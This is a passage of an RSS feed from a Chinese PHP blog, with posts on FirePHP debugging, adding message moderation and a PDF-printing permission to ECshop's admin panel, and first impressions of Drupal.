<div class="php">可以调试输出以下数据类型：</div>
<div class="php">
<ul>
<li>字符串，可以分为LOG,INFO,WARN,ERROR四种</li>
<li>Object或者Array</li>
<li>通过sql查询返回的数据</li>
<li>抛出的异常信息</li>
<li>服务器返回的信息（不输出在console中，而是NET中</li>
</ul>
</div>
<p><strong></strong></p>
<p><strong></strong></p>
<div class="php">调试效果</div>
<div class="php"><img src="http://www.firephp.org/images/Screenshots/SimpleConsole.png" alt="" /></div>
]]></content:encoded>
			<wfw:commentRss>http://tinydoo.cn/2009/263.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>给ecshop留言本增加审核功能</title>
		<link>http://tinydoo.cn/2008/218.html</link>
		<comments>http://tinydoo.cn/2008/218.html#comments</comments>
		<pubDate>Wed, 26 Nov 2008 05:38:01 +0000</pubDate>
		<dc:creator>小杜</dc:creator>
				<category><![CDATA[学习笔记]]></category>
		<category><![CDATA[ECSHOP]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[二次开发]]></category>
		<category><![CDATA[原创]]></category>

		<guid isPermaLink="false">http://tinydoo.cn/blog/?p=218</guid>
		<description><![CDATA[原帖发表于ECshop官方论坛 http://bbs.ecshop.com/thread-69730-1-1.html
新版ECshop(V2.61)增加了留言板功能，这个是很有用的，但是在论坛上看到有朋友说，需要审核功能 ，而官方没有给出，就去看了看这个新版的留言本功能.
留言本前台程序是message.php , 后台仍然在会员管理-会员留言 菜单下。数据表在ecs_feedback，控制留言是否显示的字段为msg_area
程序十分简单，留言默认提交时 msg_area为1，所以就直接显示了，增加审核功能，无非就是在提交时候将msg_area设置为0，在后台管理处增加审核按钮，执行一个将该字段设置为1的动作即可
<span class="readmore"><a href="http://tinydoo.cn/2008/218.html" title="给ecshop留言本增加审核功能" target="_blank">阅读全文——共942字</a></span>]]></description>
			<content:encoded><![CDATA[<p>原帖发表于ECshop官方论坛 http://bbs.ecshop.com/thread-69730-1-1.html</p>
<p>新版ECshop(V2.61)增加了留言板功能，这个是很有用的，但是在论坛上看到有朋友说，需要审核功能 ，而官方没有给出，就去看了看这个新版的留言本功能.<br />
留言本前台程序是message.php , 后台仍然在会员管理-会员留言 菜单下。数据表在ecs_feedback，控制留言是否显示的字段为msg_area<br />
程序十分简单，留言默认提交时 msg_area为1，所以就直接显示了，增加审核功能，无非就是在提交时候将msg_area设置为0，在后台管理处增加审核按钮，执行一个将该字段设置为1的动作即可<br />
1- 打开message.php,找到79行 ‘msg_area’    =&gt; 1 将其修改为  ‘msg_area’    =&gt; 0<br />
2- 打开admin/user_msg.php ，在适当的位置添加如代码：<br />
<code lang="php"><br />
if ($_REQUEST['act']==’checked’)<br />
{<br />
/* 权限判断 */<br />
admin_priv(’feedback_priv’);<br />
$id = empty($_GET['id']) ? 0 : intval($_GET['id']);<br />
$sql = ‘UPDATE’. $ecs->table(’feedback’).’ SET msg_area =1 WHERE  msg_id =’.$id;<br />
$db->query($sql);</p>
<p>/* 返回列表 */<br />
$link[] = array(’text’ => $_LANG['go_back'], ‘href’ =>‘javascript:history.back(-1)’);<br />
sys_msg($_LANG['attradd_succed'], 0, $link);<br />
//    ecs_header(”Location: user_msg.php?act=list_all\n”);<br />
exit;<br />
}</code><br />
3- 修改模板文件 admin/templates/msg_list.htm, 在<br />
<code lang="HTML"><br />
<a title="”{$lang.remove}”" onclick="”listTable.remove({$msg.msg_id}," href="”javascript:;”"><br />
<img src="”images/icon_drop.gif”" border="”0″" alt="" width="”16″" height="”16″" /><br />
</a><br />
</code><br />
之后增加代码<br />
<code lang="HTML"><br />
<a href="”user_msg.php?act=checked&amp;id={$msg.msg_id}”"><br />
<img src="”images/icon_priv.gif”" border="”0″" alt="" width="”16″" height="”16″" /><br />
</a><br />
</code><br />
好了，审核功能就实现了。<br />
其实这个功能非常的简单，之所以写下来，是想表达一个想法：不管需求大小，对于真正需要它的人，都是重要的。<br />
其实每个ECshop的功能扩展，都是这样的步骤，希望大家都能来感受一下亲手DIY的乐趣 ，这也是我非常喜欢EC的原因</p>
]]></content:encoded>
			<wfw:commentRss>http://tinydoo.cn/2008/218.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>感受durpal</title>
		<link>http://tinydoo.cn/2008/211.html</link>
		<comments>http://tinydoo.cn/2008/211.html#comments</comments>
		<pubDate>Fri, 14 Nov 2008 02:28:35 +0000</pubDate>
		<dc:creator>小杜</dc:creator>
				<category><![CDATA[学习笔记]]></category>
		<category><![CDATA[CMS]]></category>
		<category><![CDATA[durpal]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[开源]]></category>

		<guid isPermaLink="false">http://tinydoo.cn/blog/?p=211</guid>
		<description><![CDATA[drupal荣获2008全球最佳php开源cms大奖
虽然这个已经不是很新闻了 但是因为我是刚刚才开始仔细去看durpal嘛，转来同享一下
官方链接：
http://drupal.org/2008-best-php-open-source-cms-award-packtpub
<span class="readmore"><a href="http://tinydoo.cn/2008/211.html" title="感受durpal" target="_blank">阅读全文——共330字</a></span>]]></description>
			<content:encoded><![CDATA[<p>drupal荣获2008全球最佳php开源cms大奖</p>
<p>虽然这个已经不是很<strong>新</strong>闻了 但是因为我是刚刚才开始仔细去看durpal嘛，转来同享一下</p>
<p>官方链接：<br />
<a href="http://drupal.org/2008-best-php-open-source-cms-award-packtpub">http://drupal.org/2008-best-php-open-source-cms-award-packtpub</a></p>
<p>昨天晚上体验了一下durpal，真的感觉很神奇 ，相对于一直很神奇的wordpress，他又有自己的特色。</p>
<p>wordpress的代码很精巧， 而durpal  在于它的可扩展性和灵活性，他所提供的，是一个完美的框架，你可以随你想想的去DIY</p>
<p>当然我还是刚刚体验，更多的好处，要等以后慢慢去体会了……</p>
<p>最近要体验的还有一个让我十分惊喜的开源系统：MYBB</p>
<p>过几天再来介绍吧，目前本地化工作正在某群低调进行中！</p>
]]></content:encoded>
			<wfw:commentRss>http://tinydoo.cn/2008/211.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>ECshop订单操作权限的开发</title>
		<link>http://tinydoo.cn/2008/7.html</link>
		<comments>http://tinydoo.cn/2008/7.html#comments</comments>
		<pubDate>Mon, 13 Oct 2008 02:46:15 +0000</pubDate>
		<dc:creator>小杜</dc:creator>
				<category><![CDATA[学习笔记]]></category>
		<category><![CDATA[ECSHOP]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[二次开发]]></category>
		<category><![CDATA[原创]]></category>

		<guid isPermaLink="false">http://tinydoo.cn/blog/?p=7</guid>
		<description><![CDATA[&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;
作者：xiaodu
发表： 2008-9-21
网站： http://www.eblhost.cn/forum/viewthread.php?tid=18
<span class="readmore"><a href="http://tinydoo.cn/2008/7.html" title="ECshop订单操作权限的开发" target="_blank">阅读全文——共2908字</a></span>]]></description>
			<content:encoded><![CDATA[<p><span style="font-family: Arial;"><span>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
作者：xiaodu</span></span></p>
<p align="left"><span style="font-family: Helvetica;"><span>发表： 2008-9-21</span></span></p>
<p><span style="font-family: Arial;"><span>网站： </span></span><a href="http://www.eblhost.cn/forum/viewthread.php?tid=18&amp;extra=page%3D1" target="_blank">http://www.eblhost.cn/forum/viewthread.php?tid=18</a><span style="font-family: Arial;"><span><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span></span></p>
<p align="left"><span style="font-family: Helvetica;"><span>ECshop是当前最流行的电子<span class="t_tag" onclick="tagshow(event)">商城</span>软件，而且由于完全开源，对于我们二次开发出符合我们自身特点的<span class="t_tag" onclick="tagshow(event)">系统</span>，非常有利。下面就以一个简单的实例，<span class="t_tag" onclick="tagshow(event)">描述</span>一次关于订单操作权限的添加过程。</span></span></p>
<p>一 基础知识</p>
<p>首先我们需要了解以下一些基本的知识：<br />
1.ECshop的所有可用权限<span class="t_tag" onclick="tagshow(event)">列表</span>存储在<span class="t_tag" onclick="tagshow(event)">数据库</span>’ecs_admin_action’表中<br />
2.权限判断通过admin_priv函数实现<br />
3.<span class="t_tag" onclick="tagshow(event)">管理员</span>的权限<span class="t_tag" onclick="tagshow(event)">设置</span>可以通过<span class="t_tag" onclick="tagshow(event)">后台</span>编辑<span class="t_tag" onclick="tagshow(event)">管理</span>员信息来分配</p>
<p>二 权限详解</p>
<p>1、<span class="t_tag" onclick="tagshow(event)">商品</span>管理，共有9个权限项目，以下分别是：<br />
goods_manage,商品添加/编辑<br />
remove_back,商品<span class="t_tag" onclick="tagshow(event)">删除</span>/恢复<br />
cat_manage,<span class="t_tag" onclick="tagshow(event)">分类</span>添加/编辑<br />
cat_drop,分类转移/删除<br />
attr_manage,商品<span class="t_tag" onclick="tagshow(event)">属性</span>管理<br />
brand_manage,商品品牌管理<br />
comment_priv,<span class="t_tag" onclick="tagshow(event)">用户</span><span class="t_tag" onclick="tagshow(event)">评论</span>管理<br />
tag_manage,标签管理<br />
goods_type,商品类型</p>
<p>2、文章管理，共有6个权限项目，以下分别是：<br />
article_cat,文章分类管理<br />
article_manage,文章内容管理<br />
shopinfo_manage,<span class="t_tag" onclick="tagshow(event)">网店</span>信息管理<br />
shophelp_manage,网店帮助管理<br />
vote_priv,<span class="t_tag" onclick="tagshow(event)">在线</span>调查管理<br />
topic_manage,专题管理</p>
<p>3、<span class="t_tag" onclick="tagshow(event)">会员</span>管理，共有8个权限项目，以下分别是：<br />
feedback_priv,会员<span class="t_tag" onclick="tagshow(event)">留言</span>管理<br />
integrate_users,会员<span class="t_tag" onclick="tagshow(event)">数据</span>整合<br />
sync_users,同步会员数据<br />
users_manage,会员管理<br />
users_drop,会员删除<br />
user_rank,会员<span class="t_tag" onclick="tagshow(event)">等级</span>管理<br />
surplus_manage,会员余额管理<br />
account_manage,会员账户管理</p>
<p>4、权限管理，共有7个权限项目，以下分别是：</p>
<p>template_manage,<span class="t_tag" onclick="tagshow(event)">模板</span>管理<br />
admin_manage,管理员添加/编辑<br />
admin_drop,删除管理员<br />
allot_priv,分派权限<br />
logs_manage,管理日志列表<br />
logs_drop,删除管理日志<br />
agency_manage,办事处管理</p>
<p>5、系统设置，共有9个权限项目，以下分别是：<br />
shop_config,商店设置<br />
ship_manage, <span class="t_tag" onclick="tagshow(event)">配送</span>方式管理<br />
payment,<span class="t_tag" onclick="tagshow(event)">支付</span>方式管理<br />
shiparea_manage,配送区域管理<br />
area_manage,地区列表管理<br />
friendlink,友情<span class="t_tag" onclick="tagshow(event)">链接</span>管理<br />
db_backup,数据库备份<br />
db_renew,数据库恢复<br />
<span class="t_tag" onclick="tagshow(event)">flash</span>_manage，Flash 播放器管理</p>
<p>6、订单管理，共有10个权限项目，以下分别是：<br />
order_os_edit,编辑订单状态<br />
order_ps_edit,编辑<span class="t_tag" onclick="tagshow(event)">付款</span>状态<br />
order_ss_edit,编辑<span class="t_tag" onclick="tagshow(event)">发货</span>状态<br />
order_edit,添加编辑订单<br />
order_view,查看未完成订单<br />
order_view_finished,查看已完成订单<br />
repay_manage,退款申请管理<br />
booking,缺货登记管理<br />
sale_order_stats,订单销售统计<br />
client_flow_stats,客户流量统计<br />
7、促销管理，共有6个权限项目，以下分别是：<br />
snatch_manage,夺宝奇兵<br />
ad_manage,<span class="t_tag" onclick="tagshow(event)">广告</span>管理<br />
gift_manage,赠品管理<br />
card_manage,祝福贺卡<br />
pack,商品包装<br />
bonus_manage,红包管理</p>
<p>三 订单操作权限的开发</p>
<p>上面提到的权限列表是我们比较常用的一些，我们具体来看下针对订单操作权限，主要是</p>
<p>order_os_edit,编辑订单状态<br />
order_ps_edit,编辑付款状态<br />
order_ss_edit,编辑发货状态<br />
order_edit,添加编辑订单<br />
order_view,查看未完成订单</p>
<p>假如我们某一个管理员需要”PDF打印订单”权限，(假设”PDF打印”<span class="t_tag" onclick="tagshow(event)">功能</span>已经实现），我们来看以下具体的操作步骤</p>
<p>1.首先在数据库ecs_admin_action中插入一行code为”pdf_manage”，parents_id为6(sql语句）</p>
<p>2.在language/admin/priv_action.php中找到”//订单管理部分权限”，在下面新加一行<br />
$_LANG['pdf_manage'] = ‘PDF打印管理’;<br />
3.在后台编辑某管理员权限<span class="t_tag" onclick="tagshow(event)">页面</span>，我们可以看到这个选项，分配给他。</p>
<p>当然这个时候该管理员还没有真正拥有这个权限。打开admin/order.php <span class="t_tag" onclick="tagshow(event)">搜索</span>$priv_list(大概在2950行)<br />
修改<span class="t_tag" onclick="tagshow(event)">代码</span>为以下部分:</p>
<p>/* 取得订单操作权限 */<br />
$actions = $_SESSION['action_list'];<br />
if ($actions == ‘all’)<br />
{<br />
$priv_list  = array(’os’ =&gt; true, ’ss’ =&gt; true, ‘ps’ =&gt; true, ‘edit’ =&gt; true,‘pdf_manage’=&gt;true);<br />
//如果是拥有所有权限(比如admin)，分配他PDF打印权限，当然如果你希望是特定的某一个人，这行可以不加<br />
}<br />
else<br />
{<br />
$actions    = ‘,’ . $actions . ‘,’;<br />
$priv_list  = array(<br />
‘os’    =&gt; strpos($actions, ‘,order_os_edit,’) !== false,<br />
’ss’    =&gt; strpos($actions, ‘,order_ss_edit,’) !== false,<br />
‘ps’    =&gt; strpos($actions, ‘,order_ps_edit,’) !== false,<br />
‘edit’  =&gt; strpos($actions, ‘,order_edit,’) !== false,<br />
‘pdf_manage’  =&gt; strpos($actions, ‘,pdf_manage,’) !== false</p>
<p>);<br />
}<br />
if ($priv_list['pdf_manage'])<br />
{<br />
$list['pdf_manage']    = true; // 确认<br />
}<br />
最后，在模板admin/templates/order_info.htm中找到合适的位置添加如下代码：<br />
{if $operable_list.pdf_manage}<br />
&lt;input name=”pdf_creat” type=”submit” value=”{$lang.pdf_creat}” class=”button” /&gt;<br />
{/if}<br />
好了一次简单的”订单操作权限”扩展功能就完成，接下来该做什么了呢？呵呵，还不是该去喝口茶的时候<br />
测试–花费更多的<span class="t_tag" onclick="tagshow(event)">时间</span>测试以保证你所做的一切是可用的。这个更重要~</p>
<p align="left">
<p align="left"><span style="font-family: Helvetica;"><span>(注：以上代码均以ECshop当前最新版本2.60为基础）</span></span></p>
<div style="text-align: -webkit-left;"><span><br />
</span></div>
]]></content:encoded>
			<wfw:commentRss>http://tinydoo.cn/2008/7.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
